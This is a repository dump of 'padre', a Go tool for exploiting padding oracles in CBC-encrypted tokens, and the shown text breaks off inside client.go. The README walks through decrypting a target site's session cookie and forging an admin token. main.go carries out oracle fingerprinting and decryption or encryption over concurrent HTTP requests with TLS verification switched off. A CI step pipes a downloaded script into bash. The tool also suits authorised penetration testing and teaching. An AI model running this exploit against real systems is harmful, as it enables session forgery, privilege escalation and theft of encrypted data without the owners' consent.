Full Code of glebarez/padre for AI

master 9a2e1f297419 cached
69 files
84.9 KB
25.4k tokens
146 symbols
1 requests
Download .txt
Repository: glebarez/padre
Branch: master
Commit: 9a2e1f297419
Files: 69
Total size: 84.9 KB

Directory structure:
gitextract_e79k7lbs/

├── .dockerignore
├── .github/
│   ├── dependabot.yml
│   └── workflows/
│       ├── build-release.yaml
│       └── test.yaml
├── .gitignore
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── arg_errors.go
├── args.go
├── docker-compose.yml
├── go.mod
├── go.sum
├── hints.go
├── main.go
├── pkg/
│   ├── client/
│   │   ├── client.go
│   │   ├── client_test.go
│   │   ├── probe.go
│   │   ├── probe_test.go
│   │   ├── response.go
│   │   └── util.go
│   ├── color/
│   │   ├── color.go
│   │   └── color_test.go
│   ├── encoder/
│   │   ├── ascii.go
│   │   ├── ascii_test.go
│   │   ├── factory.go
│   │   ├── hex.go
│   │   ├── interface.go
│   │   ├── replacer.go
│   │   └── replacer_test.go
│   ├── exploit/
│   │   ├── decrypt.go
│   │   ├── encrypt.go
│   │   ├── exploit.go
│   │   ├── padre.go
│   │   ├── probes.go
│   │   └── util.go
│   ├── output/
│   │   ├── hackybar.go
│   │   ├── prefix.go
│   │   └── printer.go
│   ├── probe/
│   │   ├── confirm.go
│   │   ├── detect.go
│   │   ├── fingerprint.go
│   │   ├── interface.go
│   │   └── matcher.go
│   └── util/
│       ├── http.go
│       ├── http_test.go
│       ├── random.go
│       ├── random_test.go
│       ├── strings.go
│       ├── strings_test.go
│       └── terminal.go
├── test_server/
│   ├── .dockerignore
│   ├── .gitignore
│   ├── .python-version
│   ├── Dockerfile
│   ├── README.md
│   ├── app.py
│   ├── crypto.py
│   ├── docker-compose.yaml
│   ├── encoder.py
│   ├── requirements.txt
│   ├── server.py
│   ├── setup.cfg
│   └── tests/
│       ├── __init__.py
│       ├── app_test.py
│       ├── crypto_test.py
│       └── encoder_test.py
└── usage.go

================================================
FILE CONTENTS
================================================

================================================
FILE: .dockerignore
================================================
test_server
Dockerfile
docker-compose.yml

================================================
FILE: .github/dependabot.yml
================================================
# To get started with Dependabot version updates, you'll need to specify which
# package ecosystems to update and where the package manifests are located.
# Please see the documentation for all configuration options:
# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates

version: 2
updates:
  - package-ecosystem: gomod # See documentation for possible values
    directory: "/" # Location of package manifests
    schedule:
      interval: "daily"
  - package-ecosystem: github-actions # See documentation for possible values
    directory: "/" # Location of package manifests
    schedule:
      interval: "daily"


================================================
FILE: .github/workflows/build-release.yaml
================================================
name: Publish release
on:
  push:
    tags:
    - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
jobs:
  release:
    runs-on: ubuntu-latest
    outputs:
      upload_url: ${{ steps.create_release.outputs.upload_url}}
    steps:
      - name: Create Release
        id: create_release
        uses: actions/create-release@v1
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        with:
          tag_name: ${{ github.ref }}
          release_name: Release ${{ github.ref }}
          draft: true
          prerelease: false

  build:
    needs: release
    runs-on: ubuntu-latest
    strategy:
      matrix:
        GOOS: [linux, windows, darwin]
        GOARCH: [amd64]
    env:
      GOOS: ${{ matrix.GOOS }}
      GOARCH: ${{ matrix.GOARCH }}
      ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true'
    steps:
      - name: Set binary extension
        if: matrix.GOOS == 'windows'
        run: echo "::set-env name=BINARY_EXT::.exe"

      - name: Set compiled binary name
        run: |
          echo "::set-env name=BINARY_NAME::padre-${{ matrix.GOOS }}-${{ matrix.GOARCH }}${{ env.BINARY_EXT }}"
          echo "Binary name set to ${{ env.BINARY_NAME }}"

      - name: Checkout code
        uses: actions/checkout@v4
      
      - uses: actions/setup-go@v5
        with:
          go-version: '1.20'

      - name: Build project
        run: go build -o $BINARY_NAME

      - name: Attach compiled binary to release
        id: upload-release-asset 
        uses: actions/upload-release-asset@v1
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        with:
          upload_url: ${{ needs.release.outputs.upload_url }}
          asset_path: ./${{ env.BINARY_NAME }}
          asset_name: ${{ env.BINARY_NAME }}
          asset_content_type: application/octet-stream


================================================
FILE: .github/workflows/test.yaml
================================================
on: [push, pull_request]
name: Test
jobs:
  test:
    strategy:
      matrix:
        go-version: [1.18.x, 1.19.x, 1.20.x]
        os: [ubuntu-latest, macos-latest, windows-latest]
    runs-on: ${{ matrix.os }}
    steps:
    - name: Install Go
      uses: actions/setup-go@v5
      with:
        go-version: ${{ matrix.go-version }}

    - name: Checkout code
      uses: actions/checkout@v4
      
    - name: Restore dependencies cache
      uses: actions/cache@v4
      with:
        path: ~/go/pkg/mod
        key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
        restore-keys: |
          ${{ runner.os }}-go-

    - name: Unit tests
      run: make test

    - name: Upload coverage report to codecov
      if:  ${{ matrix.os == 'ubuntu-latest'}}
      run: bash <(curl -s https://codecov.io/bash)


================================================
FILE: .gitignore
================================================
.vscode/
root.crt
coverage.out


================================================
FILE: Dockerfile
================================================
FROM golang:1.17

WORKDIR /padre

# Build
COPY . .
RUN go mod download
RUN go build -o padre .

# Runn
CMD ["./padre"]

================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2023 glebarez

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: Makefile
================================================
test:
	go test -race -coverprofile=coverage.out -covermode=atomic ./...

================================================
FILE: README.md
================================================
![](https://img.shields.io/github/go-mod/go-version/glebarez/padre) ![Publish release](https://github.com/glebarez/padre/workflows/Publish%20release/badge.svg) ![](https://img.shields.io/codecov/c/github/glebarez/padre/master)

# padre
***padre*** is an advanced exploiter for Padding Oracle attacks against CBC mode encryption

Features:
- blazing fast, concurrent implementation
- decryption of tokens
- encryption of arbitrary data
- automatic fingerprinting of padding oracles
- automatic detection of cipher block length
- HINTS! if failure occurs during operations, padre will hint you about what can be tweaked to succeed
- supports tokens in GET/POST parameters, Cookies
- flexible specification of encoding rules (base64, hex, etc.)

## Demo

![demo](assets/demo.gif )

## Installation/Update
- Fastest way is to download pre-compiled binary for your OS from [Latest release](https://github.com/glebarez/padre/releases/latest)

- Alternatively, if you have Go installed, build from source:
```console
go install github.com/glebarez/padre@latest
```

## Usage scenario
If you find a suspected padding oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:
```bash
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
```
padre will automatically fingerprint HTTP responses to determine if padding oracle can be confirmed. If server is indeed vulnerable, the provided token will be decrypted into something like:
```json
 {"user_id": 456, "is_admin": false}
```
It looks like you could elevate your privileges here!

You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:
```bash
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
```
This will spit out another encoded set of encrypted data, perhaps something like below (if base64 used):
```text
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
```
Now you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.

## Impact of padding Oracles
- disclosing encrypted session information
- bypassing authentication
- providing fake tokens that server will trust
- generally, broad extension of attack surface

## Full usage options
```
Usage: padre [OPTIONS] [INPUT]

INPUT: 
	In decrypt mode: encrypted data
	In encrypt mode: the plaintext to be encrypted
	If not passed, will read from STDIN

	NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)

OPTIONS:

-u *required*
	target URL, use $ character to define token placeholder (if present in URL)

-enc
	Encrypt mode

-err
	Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting

-e
	Encoding to apply to binary data. Supported values:
		b64 (standard base64) *default*
		lhex (lowercase hex)

-r
	Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
	Example:
		If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"

-cookie
	Cookie value to be set in HTTP requests. Use $ character to mark token placeholder.

-post
	String data to perform POST requests. Use $ character to mark token placeholder. 

-ct
	Content-Type for POST requests. If not specified, Content-Type will be determined automatically.
	
-b
	Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
		8
		16 *default*
		32

-p
	Number of parallel HTTP connections established to target server [1-256]
		30 *default*
		
-proxy
	HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP
```

## Further read
- https://blog.skullsecurity.org/2013/a-padding-oracle-example
- https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data

## Alternative tools
- https://github.com/liamg/pax
- https://github.com/AonCyberLabs/PadBuster


================================================
FILE: arg_errors.go
================================================
package main

import "fmt"

type argErrors struct {
	errors   []error
	warnings []string
}

func newArgErrors() *argErrors {
	return &argErrors{
		errors:   make([]error, 0),
		warnings: make([]string, 0),
	}
}

func (p *argErrors) flagError(flag string, err error) {
	e := fmt.Errorf("parameter %s: %w", flag, err)
	p.errors = append(p.errors, e)
}

func (p *argErrors) flagErrorf(flag string, format string, a ...interface{}) {
	e := fmt.Errorf("parameter %s: %s", flag, fmt.Sprintf(format, a...))
	p.errors = append(p.errors, e)
}

func (p *argErrors) flagWarningf(flag string, format string, a ...interface{}) {
	w := fmt.Sprintf("parameter %s: %s", flag, fmt.Sprintf(format, a...))
	p.warnings = append(p.warnings, w)
}

func (p *argErrors) warningf(format string, a ...interface{}) {
	w := fmt.Sprintf(format, a...)
	p.warnings = append(p.warnings, w)
}


================================================
FILE: args.go
================================================
package main

import (
	"flag"
	"fmt"
	"net/http"
	"net/url"
	"regexp"
	"strings"

	"github.com/glebarez/padre/pkg/color"
	"github.com/glebarez/padre/pkg/encoder"
	"github.com/glebarez/padre/pkg/util"
)

func init() {
	// a custom usage message
	flag.Usage = func() {
		fmt.Fprint(stderr, usage)
	}
}

const (
	defaultConcurrency   = 30
	defaultTerminalWidth = 80
	maxConcurrency       = 256
)

// Args - CLI flags
type Args struct {
	BlockLen            *int
	Parallel            *int
	TargetURL           *string
	Encoder             encoder.Encoder
	PaddingErrorPattern *string
	ProxyURL            *url.URL
	POSTdata            *string
	ContentType         *string
	Cookies             []*http.Cookie
	EncryptMode         *bool
	Input               *string
}

func parseArgs() (*Args, *argErrors) {
	// container for storing errors and warnings
	argErrs := newArgErrors()

	args := &Args{}

	// simple flags that go in as-is
	args.PaddingErrorPattern = flag.String("err", "", "")
	args.BlockLen = flag.Int("b", 0, "")
	args.Parallel = flag.Int("p", defaultConcurrency, "")
	args.POSTdata = flag.String("post", "", "")
	args.ContentType = flag.String("ct", "", "")
	args.EncryptMode = flag.Bool("enc", false, "")
	args.TargetURL = flag.String("u", "", "")

	// flags that need additional processing
	proxyURL := flag.String("proxy", "", "")
	encoding := flag.String("e", "b64", "")
	replacements := flag.String("r", "", "")
	cookies := flag.String("cookie", "", "")

	// parse flags
	flag.Parse()

	// general check on URL, POSTdata or Cookies for having the $ placeholder
	match1, err := regexp.MatchString(`\$`, *args.TargetURL)
	if err != nil {
		argErrs.flagError("-u", err)
	}
	match2, err := regexp.MatchString(`\$`, *args.POSTdata)
	if err != nil {
		argErrs.flagError("-post", err)
	}
	match3, err := regexp.MatchString(`\$`, *cookies)
	if err != nil {
		argErrs.flagError("-cookie", err)
	}
	if !(match1 || match2 || match3) {
		argErrs.flagErrorf("-u, -post, -cookie", "Either URL, POST data or Cookie must contain the $ placeholder")
	}

	// Target URL
	if *args.TargetURL == "" {
		argErrs.flagErrorf("-u", "Must be specified")
	} else {
		_, err = url.Parse(*args.TargetURL)
		if err != nil {
			argErrs.flagError("-u", fmt.Errorf("failed to parse URL: %w", err))
		}
	}

	// Proxy URL
	if *proxyURL != "" {
		args.ProxyURL, err = url.Parse(*proxyURL)
		if err != nil {
			argErrs.flagError("-proxy", fmt.Errorf("failed to parse URL: %w", err))
		}
	}

	// Encoder (With replacements)
	if len(*replacements)%2 == 1 {
		argErrs.flagErrorf("-r", "String must be of even length (0,2,4, etc.)")
	} else {
		switch strings.ToLower(*encoding) {
		case "b64":
			args.Encoder = encoder.NewB64encoder(*replacements)
		case "lhex":
			args.Encoder = encoder.NewLHEXencoder(*replacements)
		default:
			argErrs.flagErrorf("-e", "Unsupported encoding specified")
		}
	}

	// block length
	switch *args.BlockLen {
	case 0: // = not set
	case 8:
	case 16:
	case 32:
	default:
		argErrs.flagErrorf("-b", "Unsupported value passed. Omit, or specify one of: 8, 16, 32")
	}

	// Cookies
	if *cookies != "" {
		args.Cookies, err = util.ParseCookies(*cookies)
		if err != nil {
			argErrs.flagError("-cookie", fmt.Errorf("failed to parse cookies: %s", err))
		}
	}

	// Concurrency
	if *args.Parallel < 1 {
		argErrs.flagWarningf("-p", "Cannot be less than 1, value corrected to default value (%d)", defaultConcurrency)
		*args.Parallel = defaultConcurrency
	} else if *args.Parallel > maxConcurrency {
		argErrs.flagWarningf("-p", "Value reduced to maximum allowed value (%d)", maxConcurrency)
		*args.Parallel = maxConcurrency
	}

	// content-type auto-detection
	if *args.POSTdata != "" && *args.ContentType == "" {
		*args.ContentType = util.DetectContentType(*args.POSTdata)
		argErrs.warningf("HTTP Content-Type detected automatically as %s", color.Yellow(*args.ContentType))
	}

	// decide on input source
	switch flag.NArg() {
	case 0:
		// no input passed, STDIN will be used
	case 1:
		// input is passed
		args.Input = &flag.Args()[0]
	default:
		// too many positional arguments
		argErrs.flagErrorf("[INPUT]", "Specify exactly one input string, or pipe into STDIN")
	}

	return args, argErrs
}


================================================
FILE: docker-compose.yml
================================================
version: "2.1"

services:
    vuln-server:
        build: ./test_server
        environment: 
            VULNERABLE: 1
            USE_GEVENT: 1
        expose:
            - "5000"
        logging:
            driver: "none"
        healthcheck:
            test: ["CMD", "curl", "-f", "http://localhost:5000/health"]
            interval: 2s
            timeout: 1s
            retries: 3

    padre:
        build: .
        depends_on:
            vuln-server:
                condition: service_healthy
        command: >
            bash -c "./padre -u http://vuln-server:5000/decrypt?cipher=$$ -enc  http-get | ./padre -u http://vuln-server:5000/decrypt?cipher=$$
            && ./padre -u http://vuln-server:5000/decrypt -post 'cipher=$$' -enc  http-post | ./padre -u http://vuln-server:5000/decrypt -post 'cipher=$$'"
      

================================================
FILE: go.mod
================================================
module github.com/glebarez/padre

go 1.17

require (
	github.com/fatih/color v1.18.0
	github.com/mattn/go-isatty v0.0.20
	github.com/nsf/termbox-go v1.1.1
	github.com/stretchr/testify v1.8.4
)

require (
	github.com/davecgh/go-spew v1.1.1 // indirect
	github.com/mattn/go-colorable v0.1.13 // indirect
	github.com/mattn/go-runewidth v0.0.9 // indirect
	github.com/pmezard/go-difflib v1.0.0 // indirect
	golang.org/x/sys v0.25.0 // indirect
	gopkg.in/yaml.v3 v3.0.1 // indirect
)


================================================
FILE: go.sum
================================================
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/nsf/termbox-go v1.1.1 h1:nksUPLCb73Q++DwbYUBEglYBRPZyoXJdrj5L+TkjyZY=
github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=


================================================
FILE: hints.go
================================================
package main

import (
	"github.com/glebarez/padre/pkg/color"
	"github.com/glebarez/padre/pkg/output"
)

// flag wrapper
func _f(f string) string {
	return `(` + color.GreenBold(`-`+f) + ` option)`
}

// hint texts
var (
	omitBlockLen     = `omit ` + _f(`b`) + `  for automatic detection of block length`
	omitErrPattern   = `omit ` + _f(`err`) + ` for automatic fingerprinting of HTTP responses`
	setErrPattern    = `specify error pattern manually with ` + _f(`err`)
	lowerConnections = `server might be overwhelmed or rate-limiting you requests. try lowering concurrency using ` + _f(`p`)
	checkEncoding    = `check that encoding ` + _f(`e`) + ` and replacement rules ` + _f(`r`) + ` are set properly`
	checkInput       = `check that INPUT is properly formatted`
)

// make hints for obvious reasons
func makeDetectionHints(args *Args) []string {

	hints := make([]string, 0)

	// block length
	if *args.BlockLen != 0 {
		hints = append(hints, omitBlockLen)
	} else {
		// error pattern
		if *args.PaddingErrorPattern != "" {
			hints = append(hints, omitErrPattern)
		} else {
			hints = append(hints, setErrPattern)
		}
	}

	// concurrency
	if *args.Parallel > 10 {
		hints = append(hints, lowerConnections)
	}

	return hints
}

func printHints(p *output.Printer, hints []string) {
	// hints intro
	p.AddPrefix(color.CyanBold("[hints]"), true)
	defer p.RemovePrefix()

	p.Println(`if you believe target is vulnerable, try following:`)

	// list hints
	p.AddPrefix(color.CyanBold(`> `), false)
	defer p.RemovePrefix()

	for _, h := range hints {
		p.Println(h)
	}
}


================================================
FILE: main.go
================================================
package main

import (
	"bufio"
	"crypto/tls"
	"fmt"
	"net/http"
	"os"

	"github.com/glebarez/padre/pkg/client"
	"github.com/glebarez/padre/pkg/color"
	"github.com/glebarez/padre/pkg/encoder"
	"github.com/glebarez/padre/pkg/exploit"
	out "github.com/glebarez/padre/pkg/output"
	"github.com/glebarez/padre/pkg/probe"
	"github.com/glebarez/padre/pkg/util"
)

var (
	stderr = color.Error
	stdout = os.Stdout
)

func main() {
	var err error

	// initialize printer
	print := &out.Printer{
		Stream: stderr,
	}

	// determine terminal width
	var termWidth int
	termWidth, err = util.TerminalWidth()
	if err != nil {
		// fallback to default
		print.AvailableWidth = defaultTerminalWidth
		print.Errorf("Could not determine terminal width. Falling back to %d", defaultTerminalWidth)
		err = nil //nolint
	} else {
		print.AvailableWidth = termWidth
	}

	// parse CLI arguments
	args, errs := parseArgs()

	// check if errors occurred during CLI arguments parsing
	if len(errs.errors) > 0 {
		print.AddPrefix(color.CyanBold("argument errors:"), true)
		for _, e := range errs.errors {
			print.Error(e)
		}
		print.RemovePrefix()
		print.Printlnf("Run with %s option to see usage help", color.CyanBold("-h"))
		os.Exit(1)
	}

	// check if warnings occurred during CLI arguments parsing
	for _, w := range errs.warnings {
		print.Warning(w)
	}

	// show welcoming message
	print.Info("%s is on duty", color.CyanBold("padre"))

	// be verbose about concurrency
	print.Info("using concurrency (http connections): %s", color.Green(*args.Parallel))

	// initialize HTTP client
	client := &client.Client{
		HTTPclient: &http.Client{
			Transport: &http.Transport{
				MaxConnsPerHost: *args.Parallel,
				Proxy:           http.ProxyURL(args.ProxyURL),
				TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // skip TLS verification
			}},
		URL:               *args.TargetURL,
		POSTdata:          *args.POSTdata,
		Cookies:           args.Cookies,
		CipherPlaceholder: `$`,
		Encoder:           args.Encoder,
		Concurrency:       *args.Parallel,
		ContentType:       *args.ContentType,
	}

	// create matcher for padding error
	var matcher probe.PaddingErrorMatcher

	if *args.PaddingErrorPattern != "" {
		matcher, err = probe.NewMatcherByRegexp(*args.PaddingErrorPattern)
		if err != nil {
			print.Error(err)
			os.Exit(1)
		}
	}

	// -- detect/confirm padding oracle
	// set block lengths to try
	var blockLengths []int

	if *args.BlockLen == 0 {
		// no block length explicitly provided, we need to try all supported lengths
		blockLengths = []int{8, 16, 32}
	} else {
		blockLengths = []int{*args.BlockLen}
	}

	var i, bl int
	// if matcher was already created due to explicit pattern provided in args
	// we need to just confirm the existence of padding oracle
	if matcher != nil {
		print.Action("confirming padding oracle...")
		for i, bl = range blockLengths {
			confirmed, err := probe.ConfirmPaddingOracle(client, matcher, bl)
			if err != nil {
				print.Error(err)
				os.Exit(1)
			}

			// exit as soon as padding oracle is confirmed
			if confirmed {
				print.Success("padding oracle confirmed")
				break
			}

			// on last iteration, getting here means confirming failed
			if i == len(blockLengths)-1 {
				print.Errorf("padding oracle was not confirmed")
				printHints(print, makeDetectionHints(args))
				os.Exit(1)
			}
		}
	}

	// if matcher was not created (e.g. pattern was not provided in CLI args)
	// then we need to auto-detect the fingerprint of padding oracle
	if matcher == nil {
		print.Action("fingerprinting HTTP responses for padding oracle...")
		for i, bl = range blockLengths {
			matcher, err = probe.DetectPaddingErrorFingerprint(client, bl)
			if err != nil {
				print.Error(err)
				os.Exit(1)
			}

			// exit as soon as fingerprint is detected
			if matcher != nil {
				print.Success("successfully detected padding oracle")
				break
			}

			// on last iteration, getting here means confirming failed
			if i == len(blockLengths)-1 {
				print.Errorf("could not auto-detect padding oracle fingerprint")
				printHints(print, makeDetectionHints(args))
				os.Exit(1)
			}
		}
	}

	// set block length if it was auto-detected
	if *args.BlockLen == 0 {
		*args.BlockLen = bl
		print.Success("detected block length: %s", color.Green(bl))
	}

	// print mode used
	if *args.EncryptMode {
		print.Warning("mode: %s", color.CyanBold("encrypt"))
	} else {
		print.Warning("mode: %s", color.CyanBold("decrypt"))
	}

	// build list of inputs to process
	inputs := make([]string, 0)

	if args.Input == nil {
		print.Warning("no explicit input passed, expecting input from stdin...")
		// read inputs from stdin
		scanner := bufio.NewScanner(os.Stdin)
		for scanner.Scan() {
			inputs = append(inputs, scanner.Text())
		}
	} else {
		// use single input, passed in CLI arguments
		inputs = append(inputs, *args.Input)
	}

	// init padre instance
	padre := &exploit.Padre{
		Client:   client,
		Matcher:  matcher,
		BlockLen: *args.BlockLen,
	}

	// process inputs one by one
	var errCount int

	for i, input := range inputs {
		// create new status bar for current input
		prefix := color.CyanBold(fmt.Sprintf("[%d/%d]", i+1, len(inputs)))
		print.AddPrefix(prefix, true)

		var (
			output []byte
			bar    *out.HackyBar
			hints  []string
		)

		// encrypt or decrypt
		if *args.EncryptMode {
			// init hacky bar
			bar = out.CreateHackyBar(args.Encoder, len(exploit.Pkcs7Pad(input, bl))+bl, *args.EncryptMode, print)

			// provide HTTP client with event-channel, so we can count RPS
			client.RequestEventChan = bar.ChanReq

			bar.Start()
			output, err = padre.Encrypt(input, bar.ChanOutput)
			if err != nil {
				// at this stage, we already confirmed padding oracle
				// we suppose the server is blocking connections
				hints = append(hints, lowerConnections)
			}
			bar.Stop()
		} else {
			// decrypt mode
			if input == "" {
				err = fmt.Errorf("empty input")
				goto Error
			}

			// decode input into bytes
			var ciphertext []byte
			ciphertext, err = args.Encoder.DecodeString(input)
			if err != nil {
				hints = append(hints, checkInput)
				hints = append(hints, checkEncoding)
				goto Error
			}

			// init hacky bar
			bar = out.CreateHackyBar(encoder.NewASCIIencoder(), len(ciphertext)-bl, *args.EncryptMode, print)

			// provide HTTP client with event-channel, so we can count RPS
			client.RequestEventChan = bar.ChanReq

			// do decryption
			bar.Start()
			output, err = padre.Decrypt(ciphertext, bar.ChanOutput)
			bar.Stop()
			if err != nil {
				goto Error
			}
		}

		// warn about output overflow
		if bar.Overflow && util.IsTerminal(stdout) {
			print.Warning("Output was too wide to fit to you terminal. Redirect STDOUT somewhere to get full output")
		}

	Error:

		// in case of error, skip to the next input
		if err != nil {
			print.Error(err)
			errCount++
			if len(hints) > 0 {
				printHints(print, hints)
			}
			continue
		}

		// write output only if output is redirected to file or piped
		// this is because outputs already will be in status output
		// so printing them to STDOUT again is not necessary
		if !util.IsTerminal(stdout) {
			/* in case of encryption, additionally encode the produced output */
			if *args.EncryptMode {
				outputStr := args.Encoder.EncodeToString(output)
				_, err = stdout.WriteString(outputStr + "\n")
				if err != nil {
					// do not tolerate errors in output writer
					print.Error(err)
					os.Exit(1)
				}
			} else {
				stdout.Write(append(output, '\n'))
			}
		}
	}

	/* non-zero return code if all inputs were errornous */
	if len(inputs) == errCount {
		os.Exit(2)
	}
}


================================================
FILE: pkg/client/client.go
================================================
package client

import (
	"context"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"

	"github.com/glebarez/padre/pkg/encoder"
)

// Client - API to perform HTTP Requests to a remote server.
// Very specific to padre, in that it sends queries to a specific URL
// that carries out the decryption and can spill padding oracle
type Client struct {
	// underlying net/http client
	HTTPclient *http.Client

	// the following data will form the HTTP request payloads.
	// if placeholder is met among those data, it will be replaced
	// with encoded representation ciphertext
	URL      string
	POSTdata string
	Cookies  []*http.Cookie

	// placeholder to replace with encoded ciphertext
	CipherPlaceholder string

	// encoder that is used to transform binary ciphertext
	// into plaintext representation. this must comply with
	//  what remote server uses (e.g. Base64, Hex, etc)
	Encoder encoder.Encoder

	// HTTP concurrency (maximum number of simultaneous connections)
	Concurrency int

	// the content type of to be sent HTTP requests
	ContentType string

	// if this channel is not nil, it will be provided with byte value every time
	// the new HTTP request is made, so that RPS stats can be collected from
	// outside parties
	RequestEventChan chan byte
}

// DoRequest - send HTTP request with cipher, encoded according to config
func (c *Client) DoRequest(ctx context.Context, cipher []byte) (*Response, error) {
	// encode the cipher
	cipherEncoded := c.Encoder.EncodeToString(cipher)

	// build URL
	url, err := url.Parse(replacePlaceholder(c.URL, c.CipherPlaceholder, cipherEncoded))
	if err != nil {
		return nil, err
	}

	// create request
	req := &http.Request{
